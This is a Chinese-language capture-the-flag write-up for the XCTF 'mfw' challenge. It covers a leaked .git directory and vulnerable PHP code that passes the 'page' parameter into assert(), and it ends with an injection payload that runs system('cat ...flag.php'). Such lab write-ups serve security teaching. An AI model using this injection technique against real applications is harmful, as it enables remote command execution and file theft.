当前位置: 代码迷 >> 综合 >> [xctf]mfw 命令执行php语句执行assert
  详细解决方案

[xctf]mfw 命令执行php语句执行assert

热度:94   发布时间:2023-11-04 23:08:28.0

mfw (这有啥含义吗??)

右键查看源码

<!--<li class="active"><a href="?page=flag">My secrets</a></li> -->

得知要读取flag文件内容

提示git
是.git文件泄露
使用githack扫描得出源码
重要源码如下

<?phpif (isset($_GET['page'])) {
    $page = $_GET['page'];
} else {
    $page = "home";
}$file = "templates/" . $page . ".php";// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");?>

有assert函数可以进行命令执行
构造闭合

strpos('templates/a')or system("cat /templates/flag.php");//.php

这就是payload
右键查看源码得到flag